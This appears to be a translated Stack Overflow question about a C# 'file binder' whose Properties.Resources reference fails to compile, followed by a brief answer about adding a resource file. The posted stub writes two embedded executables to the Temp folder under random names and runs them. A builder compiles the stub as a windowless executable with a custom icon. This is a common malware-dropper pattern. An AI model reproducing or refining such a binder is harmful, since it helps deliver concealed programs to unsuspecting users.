C# 无法访问 Properties.Resources

Cur*_*uit 6 c#

所以,我正在制作一个文件活页夹。 saves1并且saves2是嵌入式资源,
我想将其解压缩到临时文件夹中。

这是我的代码:

using System.IO;
using System.Diagnostics;

namespace _123
{
class Program
{
    static void Main(string[] args)
    {
        string patdth = @"C:\Users\Alfred\AppData\Local\Temp";
        byte[] lel1 = Properties.Resources.saves2;
        byte[] lel = Properties.Resources.saves1;
        File.WriteAllBytes(patdth + "\\hdhtehyr.exe", lel);
        File.WriteAllBytes(patdth + "\\hdhdhdhgd.exe", lel1);
        Process.Start(patdth + "\\hdhtehyr.exe");
        Process.Start(patdth + "\\hdhdhdhgd.exe");


    }
  }
}
Run Code Online (Sandbox Code Playgroud)

我收到此错误:

“错误 CS0103 当前上下文 ConsoleApplication3 中不存在名称‘属性’”。

编辑:

我在这里动态插入资源,你可以看到我的代码 "/resources" + Path" 是我添加资源的方式。

        public void compile2(string file)
    {
        CodeDomProvider provider = CodeDomProvider.CreateProvider("CSharp");
        CompilerParameters compars = new CompilerParameters();
        compars.ReferencedAssemblies.Add("System.dll");
        compars.ReferencedAssemblies.Add("System.Reflection.dll");
        compars.ReferencedAssemblies.Add("System.IO.dll");
        compars.GenerateExecutable = true;
        compars.GenerateInMemory = false;
        compars.TreatWarningsAsErrors = false;
        compars.OutputAssembly = "Binded.exe";
        compars.CompilerOptions = "/resources:" + textBox10.Text;
        compars.CompilerOptions = "/resources:" + textBox11.Text;
        compars.CompilerOptions = "/t:winexe";
        if (string.IsNullOrWhiteSpace(textBox12.Text))
        {

        }
        else
        {
            compars.CompilerOptions = "/win32icon:" + textBox12.Text;
        }
        CompilerResults res = provider.CompileAssemblyFromSource(compars, file);
        {
            MessageBox.Show("Code compiled!", "Success");
        }
    }
Run Code Online (Sandbox Code Playgroud)

小智 8

在“ConsoleApplication3”项目下,双击“属性”->选择“资源”选项卡->单击“此项目不包含默认资源文件。单击此处创建一个。” 信息。在此处添加文件(“saves1”和“saves2”)。